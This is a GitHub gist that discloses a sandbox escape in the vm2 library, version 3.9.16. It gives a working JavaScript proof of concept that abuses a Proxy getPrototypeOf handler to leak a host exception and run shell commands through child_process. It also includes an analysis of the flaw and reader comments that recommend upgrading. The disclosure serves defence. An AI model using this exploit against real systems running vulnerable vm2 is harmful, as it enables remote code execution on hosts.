Skip to content

Instantly share code, notes, and snippets.

@leesh3288
Last active April 7, 2024 01:14
Show Gist options
  • Star 25 You must be signed in to star a gist
  • Fork 7 You must be signed in to fork a gist
  • Save leesh3288/381b230b04936dd4d74aaf90cc8bb244 to your computer and use it in GitHub Desktop.
Save leesh3288/381b230b04936dd4d74aaf90cc8bb244 to your computer and use it in GitHub Desktop.
Sandbox Escape in vm2@3.9.16

Sandbox Escape in vm2@3.9.16

Summary

There exists a vulnerability in exception sanitization of vm2 for versions up to 3.9.16, allowing attackers to raise an unsanitized host exception inside handleException() which can be used to escape the sandbox and run arbitrary code in host context.

Proof of Concept

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));

Analysis

As host exceptions may leak host objects into the sandbox, code is preprocessed with transformer() in order to instrument the code with handleException() sanitizer function calls.

For CatchClause with ObjectPattern the code calls handleException() and then re-throws the sanitized exception inside a nested try-catch. (lib/transformer.js:121)

handleException() function is an alias of thisEnsureThis(), which in turn calls thisReflectGetPrototypeOf(other) (again, an alias of Reflect.getPrototypeOf()) to access the object's prototype (lib/bridge.js:835).

However, this may be proxied through a getPrototypeOf() proxy handler which can by itself throw an unsanitized host exception, resulting in the outer catch statement receiving it.

An attacker may use any method to raise a non-proxied host exception (test/vm.js:1082 for example) inside a getPrototypeOf() proxy handler, register it to an object and throw it to leak host exception, and finally use it to access host Function, escaping the sandbox.

Impact

Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.

Credits

Xion (SeungHyun Lee) of KAIST Hacking Lab

@erryte
Copy link

erryte commented Apr 25, 2023

I am not sure where the problem is with my code and how to fix it. Do you have any recommendations?

@mattbalzan
Copy link

All users, package maintainers, and software developers whose projects incorporate the VM2 library are recommended to upgrade to version 3.9.17, which addresses the security flaw, as soon as possible.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment